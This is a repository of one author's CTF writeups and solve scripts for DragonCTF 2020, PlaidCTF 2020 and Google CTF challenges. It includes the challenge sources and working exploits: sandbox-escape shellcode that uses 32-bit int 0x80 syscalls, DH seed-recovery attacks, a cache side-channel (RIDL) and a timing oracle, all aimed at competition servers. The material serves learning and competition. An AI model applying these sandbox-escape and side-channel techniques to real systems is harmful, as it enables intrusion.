├── dragonctf20 └── bitflip │ ├── .gitignore │ ├── README.md │ ├── task1.py │ ├── task2.py │ ├── util.py │ ├── task3.py │ ├── solve1.py │ ├── solve2.py │ └── solve3.py ├── README ├── 36c3 └── md15 │ ├── md15 │ ├── solve.py │ └── README.md ├── plaid20 ├── sandybox │ ├── sandybox │ ├── shellcode1.asm │ ├── Makefile │ ├── shellcode2.asm │ └── README.md └── mojo │ ├── README.md │ ├── solve.py │ └── pwn.html ├── gctf19 └── RIDL │ ├── Makefile │ ├── README │ ├── solve.py │ └── solve.c └── gctfq20 ├── threading └── solve.simp ├── tracing └── solve.py ├── beginner └── solve.py └── exceptional └── solve.py /dragonctf20/bitflip/.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__ 2 | -------------------------------------------------------------------------------- /README: -------------------------------------------------------------------------------- 1 | Oranav's collection of CTF writeups and solutions 2 | -------------------------------------------------------------------------------- /36c3/md15/md15: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/oranav/ctf-writeups/HEAD/36c3/md15/md15 -------------------------------------------------------------------------------- /plaid20/sandybox/sandybox: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/oranav/ctf-writeups/HEAD/plaid20/sandybox/sandybox -------------------------------------------------------------------------------- /plaid20/mojo/README.md: -------------------------------------------------------------------------------- 1 | This is my post-CTF solution - we did not solve it in time. 2 | Exploit is unreliable as hell, just run it a couple of times until you see the flag. 3 | -------------------------------------------------------------------------------- /plaid20/sandybox/shellcode1.asm: -------------------------------------------------------------------------------- 1 | BITS 64 2 | 3 | ; No need to zero out rdi as it's already zero 4 | ; xor edi, edi 5 | mov rsi, r12 6 | mov dl, 0xff 7 | xor eax, eax 8 | syscall 9 | -------------------------------------------------------------------------------- /plaid20/sandybox/Makefile: -------------------------------------------------------------------------------- 1 | all: shellcode.bin 2 | 3 | 4 | shellcode.bin: shellcode1.bin shellcode2.bin 5 | cat $^ > shellcode.bin 6 | 7 | %.bin: %.asm 8 | nasm -f bin $< -o $@ 9 | 10 | clean: 11 | rm -f *.bin 12 | -------------------------------------------------------------------------------- /gctf19/RIDL/Makefile: -------------------------------------------------------------------------------- 1 | all: solve.bin 2 | 3 | solve.elf: solve.c 4 | gcc -m64 -nostdlib -static -Os -mrtm -fno-toplevel-reorder -static -Wno-multichar $< -o $@ 5 | 6 | solve.bin: solve.elf 7 | objcopy -Obinary -j .text $< $@ 8 | 9 | 10 | clean: 11 | rm -f solve.elf solve.bin 12 | -------------------------------------------------------------------------------- /gctf19/RIDL/README: -------------------------------------------------------------------------------- 1 | Google CTF 2019 RIDL solution. 2 | An implementation of the original paper: https://cs.vu.nl/~herbertb/download/ridlers/files/ridl.pdf 3 | Loosely based on: 4 | * https://github.com/pietroborrello/RIDL-and-ZombieLoad 5 | * https://github.com/gkaindl/meltdown-poc 6 | 7 | 8 | Run make, then run ./solve.py. 9 | -------------------------------------------------------------------------------- /dragonctf20/bitflip/README.md: -------------------------------------------------------------------------------- 1 | For challenge 3, you can either: 2 | 1. Use the hard-coded value in `find_tricky_rng_seed`, or 3 | 2. Install [Bitcoin Cash Node](https://bitcoincashnode.org/) and let it run for a while (so it populates the block index). 4 | 5 | Note that it **has to be** Bitcoin Cash, as Bitcoin does not have a suitable block in all of its 650K blocks. 6 | 7 | In either case, the script takes a looooooong time to run, but it eventually works. 8 | -------------------------------------------------------------------------------- /plaid20/mojo/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # vim:fenc=utf-8 4 | # 5 | # Copyright: Oran Avraham 6 | from pwn import remote, log 7 | from subprocess import check_output 8 | 9 | data = open('pwn.html', 'rb').read() 10 | 11 | s = remote('mojo.pwni.ng', 1337) 12 | s.recvuntil(b'Enter one result of `') 13 | cmd = s.recvuntil(b'`', True) 14 | args = cmd.split(b' ')[1:] 15 | p = log.progress('Computing token') 16 | token = check_output([b'hashcash', *args]) 17 | s.send(token) 18 | p.success('Sent token') 19 | s.recvuntil(b'Enter size: ') 20 | s.send(str(len(data)).encode() + b'\n') 21 | s.recvuntil(b'Give me your webpage:') 22 | s.send(data) 23 | log.success('Webpage sent, here it comes:') 24 | s.recvuntil('DevTools') 25 | s.recvline() 26 | s.stream() 27 | -------------------------------------------------------------------------------- /plaid20/sandybox/shellcode2.asm: -------------------------------------------------------------------------------- 1 | BITS 64 2 | 3 | ; some padding since we don't start right on top 4 | nop 5 | nop 6 | nop 7 | nop 8 | nop 9 | nop 10 | nop 11 | nop 12 | nop 13 | nop 14 | nop 15 | nop 16 | nop 17 | nop 18 | nop 19 | nop 20 | 21 | ; escape via fork 22 | mov al, 2 23 | xor esi, esi 24 | mov rdi, r13 25 | int 0x80 26 | 27 | ; we are out! 28 | call start 29 | start: 30 | pop r8 31 | 32 | ; open("flag", 0, O_RDONLY) 33 | mov rax, 2 34 | mov rdi, r8 35 | add rdi, flag-start 36 | xor rsi, rsi 37 | xor rdx, rdx 38 | syscall 39 | 40 | ; read(3, data, 100) 41 | mov rax, 0 42 | mov rdi, 3 43 | mov rsi, r8 44 | add rsi, data-start 45 | mov rdx, 100 46 | syscall 47 | 48 | ; write(1, data, 100) 49 | mov rax, 1 50 | mov rdi, 1 51 | mov rsi, r8 52 | add rsi, data-start 53 | mov rdx, 100 54 | syscall 55 | 56 | halt: 57 | jmp $ 58 | 59 | 60 | flag: db "flag", 0 61 | data: 62 | -------------------------------------------------------------------------------- /gctfq20/threading/solve.simp: -------------------------------------------------------------------------------- 1 | semaphore sem = 0; 2 | 3 | def void f() { 4 | array arr; 5 | int32 i = 0; 6 | while (i < size(arr)) { 7 | arr[i] = 4702111234474967040+i; 8 | i = i + 1; 9 | } 10 | arr[426] = 4285591; 11 | arr[427] = 6341748217539749480; 12 | arr[428] = 364679377518561608; 13 | arr[429] = 9892297319007631937; 14 | arr[430] = 11051553566847691462; 15 | arr[431] = 1295; 16 | usleep(100000); 17 | } 18 | 19 | def void g() { 20 | array arr; 21 | usleep(200000); 22 | down(sem); 23 | } 24 | 25 | def int32 main() { 26 | set_max_native_threads(3); 27 | thread u1 = make_thread(f); 28 | thread u2 = make_thread(f); 29 | thread u3 = make_thread(g); 30 | usleep(300000); 31 | up(sem); 32 | usleep(100000); 33 | thread u4 = make_thread(f); 34 | usleep(100000); 35 | thread u5 = make_thread(f); 36 | usleep(100000); 37 | return 0; 38 | } 39 | -------------------------------------------------------------------------------- /gctf19/RIDL/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # vim:fenc=utf-8 4 | # 5 | # Authors: @oranav, @yuvalof 6 | import socket 7 | import struct 8 | import sys 9 | 10 | 11 | def recvuntil(s, delim=b'\n'): 12 | buf = b'' 13 | while not buf.endswith(delim): 14 | buf += s.recv(1) 15 | return buf 16 | 17 | 18 | def readint(s): 19 | buf = b'' 20 | while len(buf) < 4: 21 | buf += s.recv(1) 22 | return struct.unpack(' 6 | import socket 7 | from time import time 8 | 9 | 10 | def encode(val: int): 11 | return val.to_bytes(16, 'big') 12 | 13 | 14 | def is_bigger_than(val): 15 | assert 0 <= val < 2**(16*8) 16 | s = socket.socket() 17 | s.connect(('tracing.2020.ctfcompetition.com', 1337)) 18 | s.send(encode(val)) 19 | for i in range(2**9): 20 | s.send(encode(val+i)) 21 | s.shutdown(socket.SHUT_WR) 22 | s.recv(4) 23 | start = time() 24 | s.recv(1) 25 | end = time() 26 | s.close() 27 | return end - start >= 0.01 28 | 29 | 30 | prefix = b'CTF{' 31 | start = int.from_bytes(prefix + (b'\0' * (16 - len(prefix))), 'big') 32 | end = int.from_bytes(prefix + (b'\xff' * (16 - len(prefix))), 'big') 33 | 34 | while end > start: 35 | check = (start + end) // 2 36 | print(check.to_bytes(16, 'big')) 37 | if is_bigger_than(check): 38 | start = check + 1 39 | else: 40 | end = check 41 | -------------------------------------------------------------------------------- /gctfq20/beginner/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # vim:fenc=utf-8 4 | # 5 | # Copyright: Oran Avraham 6 | import struct 7 | from z3 import BitVec, Extract, Solver, Concat 8 | 9 | 10 | s = Solver() 11 | flag = [BitVec(f'f{i}', 8) for i in range(16)] 12 | 13 | shuffle = bytes.fromhex('02060701050B090E030F04080A0C0D00') 14 | add32 = bytes.fromhex('EFBEADDEADDEE1FE3713371366746367') 15 | xor = bytes.fromhex('7658B4498D1A5F38D423F834EB86F9AA') 16 | expected_prefix = b'CTF{}'[:-1] 17 | 18 | for f, v in zip(flag, expected_prefix): 19 | s.add(f == v) 20 | 21 | dest = [flag[b] for b in shuffle] 22 | 23 | words = [] 24 | for i in range(0, len(dest), 4): 25 | words.append(Concat(dest[i+3], dest[i+2], dest[i+1], dest[i])) 26 | 27 | for i in range(len(words)): 28 | words[i] += struct.unpack(' 6 | from pwn import process, gdb, remote 7 | import struct 8 | 9 | 10 | def next_name(name): 11 | assert len(name) == 4 12 | h = struct.unpack(' 0: 32 | self.generated = long_to_bytes(x >> num, self.num // 8) 33 | return x & ((1 << num) - 1) 34 | 35 | 36 | class DiffieHellman: 37 | def gen_prime(self): 38 | prime = self.rng.getbits(512) 39 | iter = 0 40 | while not is_prime(prime): 41 | iter += 1 42 | prime = self.rng.getbits(512) 43 | print("Generated after", iter, "iterations") 44 | return prime 45 | 46 | def __init__(self, seed, prime=None): 47 | self.rng = Rng(seed) 48 | if prime is None: 49 | prime = self.gen_prime() 50 | 51 | self.prime = prime 52 | self.my_secret = self.rng.getbits() 53 | self.my_number = pow(5, self.my_secret, prime) 54 | self.shared = 1337 55 | 56 | def set_other(self, x): 57 | self.shared ^= pow(x, self.my_secret, self.prime) 58 | 59 | 60 | def pad32(x): 61 | return (b"\x00" * 32 + x)[-32:] 62 | 63 | 64 | def xor32(a, b): 65 | return bytes(x ^ y for x, y in zip(pad32(a), pad32(b))) 66 | 67 | 68 | def bit_flip(x): 69 | print("bit-flip str:") 70 | flip_str = base64.b64decode(input().strip()) 71 | return xor32(flip_str, x) 72 | 73 | 74 | alice_seed = os.urandom(16) 75 | 76 | while 1: 77 | alice = DiffieHellman(bit_flip(alice_seed)) 78 | bob = DiffieHellman(os.urandom(16), alice.prime) 79 | 80 | alice.set_other(bob.my_number) 81 | print("bob number", bob.my_number) 82 | bob.set_other(alice.my_number) 83 | iv = os.urandom(16) 84 | print(base64.b64encode(iv).decode()) 85 | cipher = AES.new(long_to_bytes(alice.shared, 16)[:16], AES.MODE_CBC, IV=iv) 86 | enc_flag = cipher.encrypt(FLAG) 87 | print(base64.b64encode(enc_flag).decode()) 88 | -------------------------------------------------------------------------------- /dragonctf20/bitflip/task2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from Crypto.Util.number import bytes_to_long, long_to_bytes 4 | from Crypto.Cipher import AES 5 | import hashlib 6 | import os 7 | import base64 8 | from gmpy2 import is_prime 9 | 10 | FLAG = open("flag").read() 11 | FLAG += (16 - (len(FLAG) % 16)) * " " 12 | 13 | 14 | class Rng: 15 | def __init__(self, seed): 16 | self.seed = seed 17 | self.generated = b"" 18 | self.num = 0 19 | 20 | def more_bytes(self): 21 | self.generated += hashlib.sha256(self.seed).digest() 22 | self.seed = long_to_bytes(bytes_to_long(self.seed) + 1, 32) 23 | self.num += 256 24 | 25 | def getbits(self, num=64): 26 | while self.num < num: 27 | self.more_bytes() 28 | x = bytes_to_long(self.generated) 29 | self.num -= num 30 | self.generated = b"" 31 | if self.num > 0: 32 | self.generated = long_to_bytes(x >> num, self.num // 8) 33 | return x & ((1 << num) - 1) 34 | 35 | 36 | class DiffieHellman: 37 | def gen_prime(self): 38 | prime = self.rng.getbits(512) 39 | iter = 0 40 | while not is_prime(prime): 41 | iter += 1 42 | prime = self.rng.getbits(512) 43 | print("Generated after", iter, "iterations") 44 | return prime 45 | 46 | def __init__(self, seed, prime=None): 47 | self.rng = Rng(seed) 48 | if prime is None: 49 | prime = self.gen_prime() 50 | 51 | self.prime = prime 52 | self.my_secret = self.rng.getbits() 53 | self.my_number = pow(5, self.my_secret, prime) 54 | self.shared = 1337 55 | 56 | def set_other(self, x): 57 | self.shared ^= pow(x, self.my_secret, self.prime) 58 | 59 | 60 | def pad32(x): 61 | return (b"\x00" * 32 + x)[-32:] 62 | 63 | 64 | def xor32(a, b): 65 | return bytes(x ^ y for x, y in zip(pad32(a), pad32(b))) 66 | 67 | 68 | def bit_flip(x): 69 | print("bit-flip str:") 70 | flip_str = base64.b64decode(input().strip()) 71 | return xor32(flip_str, x) 72 | 73 | 74 | alice_seed = os.urandom(16) 75 | 76 | while 1: 77 | alice = DiffieHellman(bit_flip(alice_seed)) 78 | bob = DiffieHellman(os.urandom(16), alice.prime) 79 | 80 | alice.set_other(bob.my_number) 81 | # print("bob number", bob.my_number) 82 | bob.set_other(alice.my_number) 83 | iv = os.urandom(16) 84 | print(base64.b64encode(iv).decode()) 85 | cipher = AES.new(long_to_bytes(alice.shared, 16)[:16], AES.MODE_CBC, IV=iv) 86 | enc_flag = cipher.encrypt(FLAG) 87 | print(base64.b64encode(enc_flag).decode()) 88 | -------------------------------------------------------------------------------- /dragonctf20/bitflip/util.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # vim:fenc=utf-8 4 | # 5 | # Copyright: Oran Avraham 6 | import hashlib 7 | from gmpy2 import is_prime 8 | from Crypto.Util.number import bytes_to_long, long_to_bytes 9 | 10 | 11 | class Rng: 12 | def __init__(self, seed=b""): 13 | self.set_seed(seed) 14 | 15 | def set_seed(self, seed): 16 | self.seed = seed 17 | self.generated = b"" 18 | self.num = 0 19 | 20 | def more_bytes(self): 21 | self.generated += hashlib.sha256(self.seed).digest() 22 | self.seed = long_to_bytes(bytes_to_long(self.seed) + 1, 32) 23 | self.num += 256 24 | 25 | def getbits(self, num=64): 26 | while self.num < num: 27 | self.more_bytes() 28 | x = bytes_to_long(self.generated) 29 | self.num -= num 30 | self.generated = b"" 31 | if self.num > 0: 32 | self.generated = long_to_bytes(x >> num, self.num // 8) 33 | return x & ((1 << num) - 1) 34 | 35 | 36 | class DiffieHellman: 37 | def gen_prime(self): 38 | prime = self.rng.getbits(512) 39 | iter = 0 40 | while not is_prime(prime): 41 | iter += 1 42 | prime = self.rng.getbits(512) 43 | return prime 44 | 45 | def __init__(self, seed, prime=None): 46 | self.rng = Rng(seed) 47 | if prime is None: 48 | prime = self.gen_prime() 49 | 50 | self.prime = prime 51 | self.my_secret = self.rng.getbits() 52 | self.my_number = pow(5, self.my_secret, prime) 53 | self.shared = 1337 54 | 55 | def set_other(self, x): 56 | self.shared ^= pow(x, self.my_secret, self.prime) 57 | 58 | 59 | class DiffieHellmanStrong: 60 | def gen_strong_prime(self): 61 | prime = self.rng.getbits(512) 62 | iter = 0 63 | strong_prime = 2 * prime + 1 64 | while not (prime % 5 == 4) or not is_prime(prime) or not is_prime(strong_prime): 65 | iter += 1 66 | prime = self.rng.getbits(512) 67 | strong_prime = 2 * prime + 1 68 | print("Generated after", iter, "iterations") 69 | return strong_prime 70 | 71 | def __init__(self, seed, prime=None): 72 | self.rng = Rng(seed) 73 | if prime is None: 74 | prime = self.gen_strong_prime() 75 | 76 | self.prime = prime 77 | self.my_secret = self.rng.getbits() 78 | self.my_number = pow(5, self.my_secret, prime) 79 | self.shared = 1337 80 | 81 | def set_other(self, x): 82 | self.shared ^= pow(x, self.my_secret, self.prime) 83 | -------------------------------------------------------------------------------- /dragonctf20/bitflip/task3.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from Crypto.Util.number import bytes_to_long, long_to_bytes 4 | from Crypto.Cipher import AES 5 | import hashlib 6 | import os 7 | import base64 8 | from gmpy2 import is_prime 9 | 10 | FLAG = open("flag").read() 11 | FLAG += (16 - (len(FLAG) % 16)) * " " 12 | 13 | 14 | class Rng: 15 | def __init__(self, seed): 16 | self.seed = seed 17 | self.generated = b"" 18 | self.num = 0 19 | 20 | def more_bytes(self): 21 | self.generated += hashlib.sha256(self.seed).digest() 22 | self.seed = long_to_bytes(bytes_to_long(self.seed) + 1, 32) 23 | self.num += 256 24 | 25 | def getbits(self, num=64): 26 | while self.num < num: 27 | self.more_bytes() 28 | x = bytes_to_long(self.generated) 29 | self.num -= num 30 | self.generated = b"" 31 | if self.num > 0: 32 | self.generated = long_to_bytes(x >> num, self.num // 8) 33 | return x & ((1 << num) - 1) 34 | 35 | 36 | class DiffieHellman: 37 | def gen_strong_prime(self): 38 | prime = self.rng.getbits(512) 39 | iter = 0 40 | strong_prime = 2 * prime + 1 41 | while not (prime % 5 == 4) or not is_prime(prime) or not is_prime(strong_prime): 42 | iter += 1 43 | prime = self.rng.getbits(512) 44 | strong_prime = 2 * prime + 1 45 | print("Generated after", iter, "iterations") 46 | return strong_prime 47 | 48 | def __init__(self, seed, prime=None): 49 | self.rng = Rng(seed) 50 | if prime is None: 51 | prime = self.gen_strong_prime() 52 | 53 | self.prime = prime 54 | self.my_secret = self.rng.getbits() 55 | self.my_number = pow(5, self.my_secret, prime) 56 | self.shared = 1337 57 | 58 | def set_other(self, x): 59 | self.shared ^= pow(x, self.my_secret, self.prime) 60 | 61 | 62 | def pad32(x): 63 | return (b"\x00" * 32 + x)[-32:] 64 | 65 | 66 | def xor32(a, b): 67 | return bytes(x ^ y for x, y in zip(pad32(a), pad32(b))) 68 | 69 | 70 | def bit_flip(x): 71 | print("bit-flip str:") 72 | flip_str = base64.b64decode(input().strip()) 73 | return xor32(flip_str, x) 74 | 75 | 76 | alice_seed = os.urandom(16) 77 | 78 | while 1: 79 | alice = DiffieHellman(bit_flip(alice_seed)) 80 | bob = DiffieHellman(os.urandom(16), alice.prime) 81 | 82 | alice.set_other(bob.my_number) 83 | # print("bob number", bob.my_number) 84 | bob.set_other(alice.my_number) 85 | iv = os.urandom(16) 86 | print(base64.b64encode(iv).decode()) 87 | cipher = AES.new(long_to_bytes(alice.shared, 16)[:16], AES.MODE_CBC, IV=iv) 88 | enc_flag = cipher.encrypt(FLAG) 89 | print(base64.b64encode(enc_flag).decode()) 90 | -------------------------------------------------------------------------------- /plaid20/sandybox/README.md: -------------------------------------------------------------------------------- 1 | # PlaidCTF 2020 - Sandybox writeup 2 | 3 | Written by @oranav on behalf of @pastenctf. 4 | 5 | ## Overview 6 | 7 | We are presented with a single binary `sandybox`. After some setting up, it forks [1], waits for a ptrace tracer to attach [2], stops [3], and finally calls an inner function [4]: 8 | 9 | ```c 10 | child_pid = fork(); // [1] 11 | ... 12 | if ( !child_pid ) 13 | { 14 | prctl(PR_SET_PDEATHSIG, SIGKILL); 15 | if ( getppid() != 1 ) 16 | { 17 | if ( ptrace(PTRACE_TRACEME, 0LL, 0LL, 0LL) ) // [2] 18 | { 19 | ... 20 | } 21 | myself = getpid(); 22 | kill(myself, SIGSTOP); // [3] 23 | child(); // [4] 24 | _exit(0); 25 | } 26 | ... 27 | } 28 | ``` 29 | 30 | Inside the inner function, an RWX space of size 10 bytes is allocated, then a shellcode (of exactly 10 bytes) is read, and finally executed: 31 | 32 | ```c 33 | char *buf, *ptr; 34 | ptr = buf = (char *)mmap(0LL, 10uLL, 7, 34, -1, 0LL); 35 | ... 36 | do 37 | { 38 | if ( read(0, ptr, 1uLL) != 1 ) 39 | _exit(0); 40 | ++ptr; 41 | } 42 | while ( ptr != buf + 10 ); 43 | ((void (*)(void))buf)(); 44 | ``` 45 | 46 | Note that at the time our shellcode is run, the tracer is already attached to us. Now what does it do? Basically, it sandboxes our shellcode. In short, it sanitizes the syscalls we are making by repeatedly using `PTRACE_SYSCALL`; what follows is essentially what the sanitizer does (by inspecting the registers, especially the syscall number - `rax`): 47 | 48 | 1. `read`, `write`, `close`, `fstat`, `lseek`, `getpid` `exit`, `exit_group` (0, 1, 3, 5, 8, 39, 60, 231 respectively) are unconditionally allowed. 49 | 2. `alarm` (37) is allowed only if `rdi` is at most 20. 50 | 3. `mmap`, `mprotect`, `munmap` (9, 10, 11 respectively) are allowed only if `rsi` (len) is at most 0x1000. 51 | 4. `open` (2) is allowed only if `rsi` is 0, `rdi` points to a valid address with a string of size at most 15, that does not contain the substrings "flag", "proc" or "sys". 52 | 53 | ## 32-bit syscalls to the rescue! 54 | 55 | There are multiple solutions possible. However, the easiest I could come up with is just using 32-bit syscalls. 56 | 57 | You see, Linux syscall numbers differ among different architectures. x86 and amd64 are no exceptions; they have different syscall tables. However, the interesting situation is that Linux on amd64 (usually) supports running x86 binaries. This means you can issue 32-bit syscalls from a 64-bit process, using **32-bit syscall numbers** (by hitting `int 0x80`). However, you are limited to 32-bit registers, so it's highly unlikely that you'll be able to pass pointers unless you mapped specific addresses. 58 | 59 | However, note that while `rax=2` represents `open` under 64-bit, it represents `fork` under 32-bit. By setting up the correct register structure, we are able to issue syscall number 2! By using `int 0x80` instead of `syscall`, Linux runs fork(). 60 | 61 | After we forked, the newly created child is not traced by anyone, and it is free to do whatever it wants. Now we can just `open`, `read`, and `write` the flag. 62 | 63 | ## All this in 10 bytes?! 64 | 65 | Huh? No way. 66 | 67 | Well, Linux `mmap`s with a page granularity. Even though 10 bytes are requested for our RWX section, the generous kernel provides us no less than 4096 bytes! 68 | 69 | Hence, we split the shellcode into two parts. The first (small) shellcode just `read`s the second (larger) shellcode into the RWX section, and right after `read` returns - the second shellcode runs. 70 | 71 | ## Wrap up 72 | 73 | The flag is `PCTF{bonus_round:_did_you_spot_the_other_2_solutions?}`. 74 | 75 | Well, can you? 76 | -------------------------------------------------------------------------------- /dragonctf20/bitflip/solve1.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # vim:fenc=utf-8 4 | # 5 | # Copyright: Oran Avraham 6 | import random 7 | from base64 import b64encode, b64decode 8 | from subprocess import check_output 9 | 10 | from Crypto.Util.number import long_to_bytes 11 | from Crypto.Cipher import AES 12 | from pwn import remote, log 13 | 14 | from util import DiffieHellman 15 | 16 | 17 | class Solver: 18 | def __init__(self): 19 | # self.r = remote("127.0.0.1", 1337) 20 | self.r = remote("bitflip1.hackable.software", 1337) 21 | args = self.r.recvline().decode().split(": ")[1].strip().split() 22 | assert len(args) == 3 23 | assert args[0] == "hashcash" 24 | p = log.progress("Calculating proof of work") 25 | self.r.send(check_output(args)) 26 | p.success() 27 | 28 | def get_iterations(self, mask): 29 | self.r.recvuntil(b"bit-flip str:\n") 30 | self.r.sendline(b64encode(long_to_bytes(mask, 32))) 31 | self.r.recvuntil(b"Generated after ") 32 | return int(self.r.recvuntil(b" iterations", drop=True)) 33 | 34 | def get_data(self, mask): 35 | self.r.recvuntil(b"bit-flip str:\n") 36 | self.r.sendline(b64encode(long_to_bytes(mask, 32))) 37 | self.r.recvline() 38 | self.r.recvuntil(b"bob number ") 39 | bob = int(self.r.recvline().strip()) 40 | iv = b64decode(self.r.recvline()) 41 | enc = b64decode(self.r.recvline()) 42 | return bob, iv, enc 43 | 44 | 45 | def main(): 46 | solver = Solver() 47 | 48 | # Find a mask that has a long chain of iterations until a prime is found 49 | p = log.progress("Looking for a suitable mask") 50 | while True: 51 | mask = random.randrange(1 << 256) 52 | if (iterations := solver.get_iterations(mask)) >= 256: 53 | break 54 | p.success(f"{hex(mask)} --> {iterations} iterations") 55 | 56 | # Assume LSB is 0... We will fail afterwards if it's wrong 57 | seed = 0 58 | 59 | # Initial bit finding: observe the offset in the iterations 60 | for bit in range(1, 8): 61 | shifted = 1 << bit 62 | offset = shifted // 2 # Because each prime generation takes 2 sha256s 63 | assert offset < 256 64 | if solver.get_iterations(mask ^ shifted) == iterations - offset: 65 | val = 0 ^ ((mask >> bit) & 1) 66 | else: 67 | val = 1 ^ ((mask >> bit) & 1) 68 | assert val in (0, 1) 69 | seed |= val << bit 70 | log.info(f"Current seed value: {hex(seed)}") 71 | 72 | # Use a seed of format XXXX...XX111 73 | # It's either XXXX...X0111 or XXXX...X1111 74 | # We then toggle a bit flip in the unknown bit and all other bits except the LSB 75 | # The seed becomes either XXXX...X1001 or XXXX...X0001 76 | # In the first case, this means an increment of 2 -- which is observable! 77 | for bit in range(8, 128): 78 | mask = seed ^ ((1 << bit) - 1) 79 | while (iterations := solver.get_iterations(mask)) < 4: 80 | mask ^= random.randrange(1 << 32) << 128 81 | for i in range(1, bit + 1): 82 | mask ^= 1 << i 83 | val = int(solver.get_iterations(mask) != iterations - 1) 84 | seed |= val << bit 85 | log.info(f"Current seed value: {hex(seed)}") 86 | 87 | # We've broken Alice's seed, except the LSB. 88 | bob, iv, enc = solver.get_data(seed) 89 | for lsb in range(2): 90 | alice = DiffieHellman(long_to_bytes(lsb, 32)) 91 | alice.set_other(bob) 92 | cipher = AES.new(long_to_bytes(alice.shared, 16)[:16], AES.MODE_CBC, IV=iv) 93 | try: 94 | flag = cipher.decrypt(enc).decode("ascii") 95 | log.success(f"Flag is {flag}") 96 | except UnicodeDecodeError: 97 | pass 98 | 99 | 100 | if __name__ == "__main__": 101 | main() 102 | -------------------------------------------------------------------------------- /plaid20/mojo/pwn.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 111 | 112 | 113 | 120 | 121 | 122 | -------------------------------------------------------------------------------- /dragonctf20/bitflip/solve2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # vim:fenc=utf-8 4 | # 5 | # Copyright: Oran Avraham 6 | import math 7 | import os 8 | import random 9 | from hashlib import sha256 10 | from base64 import b64encode, b64decode 11 | from subprocess import check_output 12 | 13 | import requests 14 | import struct 15 | from Crypto.Util.number import long_to_bytes, bytes_to_long 16 | from Crypto.Cipher import AES 17 | from pwn import remote, log 18 | from gmpy2 import is_prime 19 | 20 | from util import DiffieHellman, Rng 21 | 22 | 23 | class Solver: 24 | def __init__(self): 25 | # self.r = remote("127.0.0.1", 1337) 26 | self.r = remote("bitflip2.hackable.software", 1337) 27 | args = self.r.recvline().decode().split(": ")[1].strip().split() 28 | assert len(args) == 3 29 | assert args[0] == "hashcash" 30 | p = log.progress("Calculating proof of work") 31 | self.r.send(check_output(args)) 32 | p.success() 33 | 34 | def get_iterations(self, mask): 35 | self.r.recvuntil(b"bit-flip str:\n") 36 | self.r.sendline(b64encode(long_to_bytes(mask, 32))) 37 | self.r.recvuntil(b"Generated after ") 38 | return int(self.r.recvuntil(b" iterations", drop=True)) 39 | 40 | def get_data(self, mask): 41 | self.r.recvuntil(b"bit-flip str:\n") 42 | self.r.sendline(b64encode(long_to_bytes(mask, 32))) 43 | self.r.recvline() 44 | iv = b64decode(self.r.recvline()) 45 | enc = b64decode(self.r.recvline()) 46 | return iv, enc 47 | 48 | 49 | def tricky_sha_inputs(): 50 | # Hand-crafted to succeed on the first try: 51 | block = "0000000000000000014a6c756a385603e2b1eccafbdf974e11ee851072d54303" 52 | while True: 53 | req = requests.get(f"https://blockchain.info/rawblock/{block}?format=hex") 54 | header = bytes.fromhex(req.text[: 80 * 2]) 55 | base = sha256(header).digest() 56 | if sha256(base).digest().endswith(b"\0\0\0\0\0\0\0\0"): 57 | yield block, base 58 | else: 59 | log.warning("Block not sufficient") 60 | block = header[4:][:32][::-1].hex() 61 | 62 | 63 | def find_tricky_rng_seed(): 64 | # Find a seed such that we generate a secret == 0 65 | rng = Rng() 66 | for block, base in tricky_sha_inputs(): 67 | p = log.progress(f"Trying block {block}") 68 | seed = long_to_bytes(bytes_to_long(base) - 2, 32) 69 | rng.set_seed(seed) 70 | prime = rng.getbits(512) 71 | assert rng.getbits() == 0 72 | 73 | if not is_prime(prime): 74 | p.failure() 75 | else: 76 | p.success() 77 | return seed 78 | 79 | 80 | def main(): 81 | log.info("Finding a tricky RNG seed value") 82 | tricky = find_tricky_rng_seed() 83 | 84 | solver = Solver() 85 | 86 | # Find a mask that has a long chain of iterations until a prime is found 87 | p = log.progress("Looking for a suitable mask") 88 | while True: 89 | mask = random.randrange(1 << 256) 90 | if (iterations := solver.get_iterations(mask)) >= 256: 91 | break 92 | p.success(f"{hex(mask)} --> {iterations} iterations") 93 | 94 | # Assume LSB is 0... We will fail afterwards if it's wrong 95 | seed = 0 96 | 97 | # Initial bit finding: observe the offset in the iterations 98 | for bit in range(1, 8): 99 | shifted = 1 << bit 100 | offset = shifted // 2 # Because each prime generation takes 2 sha256s 101 | assert offset < 256 102 | if solver.get_iterations(mask ^ shifted) == iterations - offset: 103 | val = 0 ^ ((mask >> bit) & 1) 104 | else: 105 | val = 1 ^ ((mask >> bit) & 1) 106 | assert val in (0, 1) 107 | seed |= val << bit 108 | log.info(f"Current seed value: {hex(seed)}") 109 | 110 | # Use a seed of format XXXX...XX111 111 | # It's either XXXX...X0111 or XXXX...X1111 112 | # We then toggle a bit flip in the unknown bit and all other bits except the LSB 113 | # The seed becomes either XXXX...X1001 or XXXX...X0001 114 | # In the first case, this means an increment of 2 -- which is observable! 115 | for bit in range(8, 128): 116 | mask = seed ^ ((1 << bit) - 1) 117 | while (iterations := solver.get_iterations(mask)) < 4: 118 | mask ^= random.randrange(1 << 32) << 128 119 | for i in range(1, bit + 1): 120 | mask ^= 1 << i 121 | val = int(solver.get_iterations(mask) != iterations - 1) 122 | seed |= val << bit 123 | log.info(f"Current seed value: {hex(seed)}") 124 | 125 | # Make Alice generate a secret == 0. 126 | # We've broken Alice's seed, except the LSB. 127 | for lsb in range(2): 128 | iv, enc = solver.get_data(seed ^ bytes_to_long(tricky) ^ lsb) 129 | alice = DiffieHellman(tricky) 130 | alice.set_other(1337) 131 | cipher = AES.new(long_to_bytes(alice.shared, 16)[:16], AES.MODE_CBC, IV=iv) 132 